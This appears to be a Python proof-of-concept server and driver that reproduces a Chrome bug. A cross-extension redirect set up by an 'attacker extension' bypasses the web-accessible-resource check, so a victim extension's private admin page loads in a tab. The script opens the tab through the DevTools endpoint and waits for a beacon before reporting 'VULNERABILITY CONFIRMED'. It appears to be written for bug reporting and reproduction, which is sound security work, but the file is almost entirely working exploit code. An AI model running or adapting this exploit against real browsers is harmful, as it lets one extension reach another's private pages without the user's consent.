#!/usr/bin/env python3
"""
POC server + driver for the ExtensionNavigationRegistry::CanRedirect WAR bypass.

Usage:
  Terminal 1:  python3 server.py
  Terminal 2:  <launch chrome with --remote-debugging-port=9222 --load-extension=...>

What it does:
  - Serves http://127.0.0.1:8080
      /victim  : the URL the user "types in the omnibox" (browser-initiated)
      /ready   : pinged by the attacker extension when its DNR rules are active
      /loaded  : pinged by the VICTIM extension's PRIVATE /internal/admin.html
                 if it ever loads in a tab  ==> VULNERABILITY CONFIRMED
  - Once /ready is seen, opens a NEW tab in Chrome via the DevTools HTTP
    endpoint /json/new?<url>. This is a true browser-initiated navigation
    with NO initiator origin (equivalent to typing in the omnibox).
  - Prints the verdict and exits.
"""
import http.server
import socketserver
import threading
import urllib.request
import urllib.parse
import time
import sys

HOST, PORT = "127.0.0.1", 8080
CDP_PORT = 9222
TRIGGER_URL = f"http://{HOST}:{PORT}/victim"

ready_evt = threading.Event()
loaded_evt = threading.Event()
loaded_url = [None]


class Handler(http.server.BaseHTTPRequestHandler):
    def _ok(self, body=b"ok"):
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        if path == "/ready":
            print("[server] attacker extension reports DNR rules ready")
            ready_evt.set()
            self._ok()
        elif path == "/loaded":
            q = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
            loaded_url[0] = q.get("page", ["?"])[0]
            print(f"[server] *** VICTIM PRIVATE PAGE LOADED: {loaded_url[0]} ***")
            loaded_evt.set()
            self._ok()
        elif path == "/victim":
            # If we ever actually serve this, the DNR redirect did NOT fire.
            print("[server] /victim was fetched directly -- DNR redirect did "
                  "not intercept (timing? rule not loaded?)")
            self._ok(b"<h1>victim landing page (DNR redirect did not fire)</h1>")
        else:
            self._ok(b"<h1>poc server</h1>")

    def log_message(self, fmt, *args):
        sys.stderr.write("[http] " + (fmt % args) + "\n")


def cdp_open_tab(url):
    """Open a new tab via DevTools HTTP endpoint. This produces a
    browser-initiated navigation with no initiator origin."""
    target = f"http://{HOST}:{CDP_PORT}/json/new?" + urllib.parse.quote(url, safe="")
    req = urllib.request.Request(target, method="PUT")
    with urllib.request.urlopen(req, timeout=10) as r:
        return r.read().decode()


def driver():
    # 1. Wait for Chrome's DevTools endpoint to come up.
    print(f"[driver] waiting for Chrome DevTools on 127.0.0.1:{CDP_PORT} ...")
    for _ in range(120):
        try:
            urllib.request.urlopen(
                f"http://{HOST}:{CDP_PORT}/json/version", timeout=1).read()
            break
        except Exception:
            time.sleep(0.5)
    else:
        print("[driver] ERROR: DevTools endpoint never came up"); return

    # 2. Wait for the attacker extension to signal that DNR rules are active.
    print("[driver] waiting for attacker extension /ready ...")
    if not ready_evt.wait(timeout=60):
        print("[driver] WARNING: /ready not received, proceeding anyway "
              "(static rulesets may already be active)")
    time.sleep(1.0)  # small settle for ruleset indexing

    # 3. Trigger the browser-initiated navigation (no initiator origin).
    print(f"[driver] opening browser-initiated tab -> {TRIGGER_URL}")
    try:
        info = cdp_open_tab(TRIGGER_URL)
        print("[driver] /json/new response: " + info[:200])
    except Exception as e:
        print(f"[driver] ERROR opening tab via CDP: {e}"); return

    # 4. Wait for the victim's private page to beacon back.
    if loaded_evt.wait(timeout=20):
        print()
        print("=" * 72)
        print("VULNERABILITY CONFIRMED")
        print(f"  Non-web-accessible resource loaded in main frame:")
        print(f"  {loaded_url[0]}")
        print("  ExtensionNavigationRegistry::CanRedirect() returned true for a")
        print("  cross-extension redirect, and the no-initiator-origin path at")
        print("  extension_navigation_throttle.cc:356 then PROCEEDed past the")
        print("  second WAR check.")
        print("=" * 72)
    else:
        print()
        print("=" * 72)
        print("NOT REPRODUCED: victim private page did not beacon within 20s.")
        print("Either the navigation was blocked (bug fixed) or timing failed.")
        print("=" * 72)


def main():
    socketserver.TCPServer.allow_reuse_address = True
    httpd = socketserver.ThreadingTCPServer((HOST, PORT), Handler)
    print(f"[server] listening on http://{HOST}:{PORT}")
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    driver()
    time.sleep(2)
    httpd.shutdown()


if __name__ == "__main__":
    main()